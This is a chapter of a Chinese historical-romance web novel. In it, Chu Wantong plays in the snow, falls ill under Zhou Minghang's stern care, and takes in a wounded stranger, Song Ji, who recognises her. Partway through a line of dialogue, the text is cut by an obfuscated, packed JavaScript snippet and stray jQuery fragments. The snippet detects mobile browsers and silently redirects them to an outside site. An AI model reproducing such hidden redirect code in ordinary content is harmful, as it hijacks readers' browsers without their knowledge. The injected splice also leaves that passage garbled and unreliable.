两年的相处,褚晚桐逐渐习惯了这个地方,但这里的作息她仍旧无法接受,无论多久她都习惯不了!
随着时间的流逝,褚晚桐越发亭亭玉立,看起来倒像个小姐的样子,只是行为上还是那样活泼爱玩,难以管教。
“你今日晚了一刻。”周明行提醒道。
“哦。”
最近几天一直憋在家里,褚晚桐很是厌烦,没有手机玩,更是觉得度日如年。
捏着筷子的手泛白,偷偷观察周明行。
“食不言。”
回旋镖完美击中自己,这种感觉太差了!
早膳后,褚晚桐拦住准备离开的他。
“你又有何事?”周明行垂眸看着她。
“我要出门!一直在府上呆着很是无趣!”
“近日天气寒冷。”
褚晚桐听明白了,他这是不同意,可是自己偏偏不想听他的,故意装作没听懂。
“我可以穿厚一点。”
天空不知何时飘起鹅毛大雪,周明行偏头看去,直直盯着外面出神。
“周明行。”褚晚桐看他发呆,烦躁地喊了他一声。
“你确定要在这样的天气出门?”周明行指了指外面的情况。
这天气确实不好,褚晚桐吃瘪,默默瞪他一眼,只得撇撇嘴悻悻离去。
发了一天呆,傍晚,雪势终于渐小,褚晚桐披着斗篷跑进雪地。
化竹只得温声劝说:“小姐,我们回去吧,外面天冷呢。”
“不,在屋子里好无聊,我不能出门,玩会儿雪还不行了?”褚晚桐拉着她和自己一并蹲下,“你也来,我带你玩不一样的。”
“小姐,大人知道会生气的。”
褚晚桐听完,玩雪的手顿了顿,仅仅两秒,语气强硬:“玩雪而已,这有什么可气的?不可能的,是你多虑了。”
“小姐……”
不想再听她的啰嗦,褚晚桐直接打断了她的话:“你再去找几个下人,我们一起打雪仗。”
化竹一听,吓得直摇头。
“怎么了?”
“小姐,不可在府中打仗,我们还是回房吧,化竹陪您下棋。”
褚晚桐听愣了,扶额苦笑:“你只管去找人来即可,快一些,我在此等你。”
化竹腿脚也快,找来一堆人,褚晚桐耐心和他们讲解了一遍玩法,可她作为府中小姐,哪有下人敢朝她砸雪球。
“你们好好玩啊!我不会怪你们!”
大家你看我,我看你,谁都不敢朝她砸出第一个雪球。
“我命令你们丢!”
不知是谁大着胆子朝她砸去,大家见那人也没因此受到惩罚,也跟着投入进这所谓的打雪仗中。
周明行忙完前来,本想陪陪她,看到这一幕,眯了眯眼,冷声问道:“你们在干嘛?”
一听这声音,所有人“扑通”跪了一地,只有褚晚桐身上沾满雪花,愣神站着看他。
周明行站着原地盯着:“还不过来?”
褚晚桐吸着鼻子,看了看周围,犹豫着朝他走过去,步伐极其缓慢。
“快点!”周明行吩咐人拿来了新的斗篷,递给她,“换掉。”看着她鼻尖冻得通红,伸手拍落她头上的雪花。
“你怎么来我这里了?”
“路过。”
褚晚桐看那一群人还跪在雪地里,全都被自己连累,心里有些过意不去。
“又有何事?”周明行看出她的犹豫,厉声问道。
“不要让他们跪着了,这是我的命令,是我让他们陪我的,他们没错。”
周明行听出她已经因为贪玩,鼻音略变,出现些轻微症状。
两年时间的相处,两人的关系也亲近了些,周明行摸了摸她的额头,话语虽硬但也带了些温柔。
“回房间去,等等让大夫给你看看。”
“你就饶了他们吧,这件事不怪他们。”褚晚桐求着他的原谅,脸颊红红的更显可怜兮兮。
“下着雪,她贪玩你们也贪玩是吗?没有自己的事情了是不是?”周明行怒声说道,看着那群下人,极具威慑,“如若再犯就不是这么简单了,都起来。”
一群人不知是冻得还是吓得,身体瑟瑟发抖,连连应着他的话。
被周明行带回房中,今日犯了错,她也不敢说话。
“以后莫要再像今日这样,如此贪玩。”
褚晚桐撇着嘴,很是不情愿地“哦”了一声。
依旧是之前那位长胡须的老人前来诊疗。
“大人,褚小姐只是因为贪玩有点伤风,只需按时服药,几日之后即可恢复。”
“嗯。”周明行坐在离她不远处叮嘱,“今日起,就在府中好好休息,别想着出门去了。”
褚晚桐没有回答,拄着头,看着别处发呆,心里也跟着怄死了。
周明行叹了口气:“等你病好了,就许你出去。”
“那好吧。”
不多时,化竹端着药碗进来,因着今天刚犯了错,在看到周明行后,更敬畏几分。
“小姐,喝药吧。”化竹把药碗递给褚晚桐。
试着喝了一口,褚晚桐忍着苦意,拼命咽了下去。
“这也太苦了!”把碗放在桌上,嫌弃地往一边推了推,“其实我的病不严重,无需喝药,慢慢地,它自己就恢复了。”
“乖乖喝了,”周明行严厉要求,“不然就别想出去了。”
化竹哄着她,拿起勺子舀了点靠近她嘴边:“小姐,喝了病才能好呀。”
褚晚桐实在受不了这极致的苦味,端过药碗,捏着鼻子一饮而尽。
忍受着几天的苦药汤折磨,一切都是为了出门!
“早点回来。”周明行嘱咐着面前这位麻烦百出的女子。
“知道!”
褚晚桐身边只带了化竹,外面的新鲜空气和人群的氛围第一次让她产生向往。穿梭在各个摊位前,化竹紧紧跟在她身边,不敢有半点差池。
“小姐,慢点。”
“你快一些。”
褚晚桐狠狠撞到身前的男人背上,先不管他有没有事,反正感觉自己的鼻子已经要断了,疼得眼泪直流。
“对不起,我不是故意的。”褚晚桐捂着鼻子和他道歉。
没听到该有的声音,褚晚桐抬头看,瞬间惊得眼珠子都要掉出来。
此时,只见面前这位男子,手上、身上均沾满鲜血,脸色苍白虚弱,摇摇欲坠。
“你怎么了?”褚晚桐不敢上前,弱弱问道,“这伤……应该不关我的事吧?”
“救我……救我……”
褚晚桐还是下意识去接住了这位即将倒下去的人,属实没想到他会这么重,看着旁边还在愣神的化竹,催促着:“愣着做什么?过来帮忙!”
两个女子扶住他,路人看到这场面,主动让开路,偷偷观察着。
“小姐,这要如何是好?”化竹问道,“他要如何?”
“不能见死不救,先把他带回去吧。”
“大人知道会不会生气?”
褚晚桐不耐烦了:“做好事积攒恩德,这还生什么气?”
把他带回府上,安置在自己房中。
周明行消息灵通,很快便知晓此事,来到她的院中,将她带到一旁。
“为何救他?”
褚晚桐尴尬说道:“我撞到他了。”
“你不可能把他撞成这样吧?”
褚晚桐忙摆手:“当然不是,他伤得这样重,我不能见死不救啊,你当初救了我,我觉得我应该和你一样,做个好心的人。”
听闻她提起当初的事,周明行只是看着她没做什么回答。
明显感觉到一阵不一样的气压,她试探喊着:“周明行?”
“我救你和你救他,不一样。”周明行转身离开,留下一句,“活过来了就让他赶紧离开。”
“好。”
男人安静躺在床上,眉头紧锁着。
“化竹,你说周明行是不是很奇怪?救人还有什么不同?”
“小姐,此人来历不明,自然要避免危险。”
她的话不无道理,褚晚桐抿了抿唇,盯着床上的人出神。
两天后,褚晚桐无暇一直盯着他,便吩咐下人照顾着。
“小姐,他要醒了!”
病人醒来第一面当然要见到恩人!褚晚桐朝着那间房跑过去,坐在他床边,一副担心他的样子。
“化竹,快去叫大夫,”褚晚桐眨巴着眼睛,“你终于醒了。”
“谢谢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156608|180585||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你救我,”男人认出她的样貌,撑着手臂起来,面露疑惑,“是你!”
褚晚桐有些惊讶,大概回忆了一下,脑中并没有和他有关的记忆。
“你认识我?”
“那场大火,你被我救出来的时候不是已经死了吗?为什么现在……”
想起两年前自己刚来到这里的时候,好像这具身体确实死了,褚晚桐挠了挠头,想着怎么应付。
他对此并没有多大兴趣,不过是随便问问,看她欲言又止,也并未打算逼问:“算了,你不想说便不说。”
“那我不说了,”褚晚桐在他身后放了靠背,“那你为什么会……”上下打量他一通:“弄成这副样子?被人追杀了?”
“嗯。”
褚晚桐可不想因此陷入什么危机,毕竟这两年躺平是真爽了。
宋纪看出她的顾虑:“我已将奸人解决,你大可放心,不会连累你。”
“我哪里是这个意思,我是在关心你,你不要误会我的好意。”
宋纪作揖行礼:“多谢小姐出手相救。”
“算了,既然你曾经救过我,我们之间也算抵消了。”
化竹带着大夫从外面赶来,为他查看病情。
褚晚桐在一旁看着:“大夫,他怎么样?”
“小姐不要担心,他底子很好,现下只需好好休息,按时吃药擦药,过两月即可恢复。”
“两月?底子好还要两月,底子不好那……还能活吗?”
大夫捋了捋自己的胡须,掩饰笑意:“我先去准备药方,近日病者需饮食清淡。”
褚晚桐扶着他躺回去,帮他盖好被子,用心照料。
宋纪咳了几声,脸上依旧没什么血色:“无需两月,过几天我自会离开。”
“过几天你恢复不了的,大夫说了要两个月。”
“不必那么久。”
褚晚桐有些无语:“你要是恢复不好就离开,也会有生命危险的,先在此好好养着吧。”
一阵肚子叫声……
褚晚桐才想起他昏迷了两天都没吃东西:“等等我吩咐人给你拿东西来吃。”
宋纪尴尬地看向别处,闷闷说了句:“多谢。”
饭厅内,褚晚桐赶到时就见周明行已经在等了,四周的氛围,让她不自觉开始小心翼翼。
周明行率先开口:“你今日又迟了两刻。”
褚晚桐实在不明白,他怎么算时间算得那么准。
“我在照顾那位男子,所以晚了一点。”
“那人如何了?”
“大夫说还要修养两月,才可恢复。”
“把他安排去别的院中,你既为女子,不便与他住在一个院里。”
“啊?又没在一个房间怎么不便了?”
“你还未出阁,即为女子自是不便陌生男子同住一院,”周明行缓缓看向她,“你不愿与他分开?”
“我只是觉得他是我救回来的,我就应该担任起照顾他的义务,而且他现在还不方便行动,就先这样吧,行吗?”
周明行点了点头:“是我考虑不周了,那就你先暂时搬去别院吧。”
“我在那间房住习惯了。”
“你今日已经因为他多次拒绝我了。”周明行夹起一片菜叶,迟迟没入口。
褚晚桐实在觉得他今天很是奇怪,可现在自己的生活都是靠他,不想也不能和他发生冲突。
“那你要把我安排去哪里?”
“既然你在那房中住习惯了,我院中刚好有一处和那间房相似,你就去我院暂住吧。”
褚晚桐吓得从椅子上站起身,她内心谨记的一条严律就是不能随意踏足他的院中,现在却被他直接邀请。
“我不能打扰你,你说过我很吵,”褚晚桐继续说道,“而且你不是说了我还未出阁,不可与陌生男子同住。”
“我从未说过你吵,”周明行看着她,眼神示意她坐回去,“而且,我不是陌生男子。”
再争辩下去也没个尽头,褚晚桐选择摆烂了:“算了,只有两个月而已,随便吧。”
“嗯,等等我会安排人帮你收拾房中物品。”
“今晚?”
褚晚桐还想骂骂咧咧几句,被他强制打断。
“食不言。”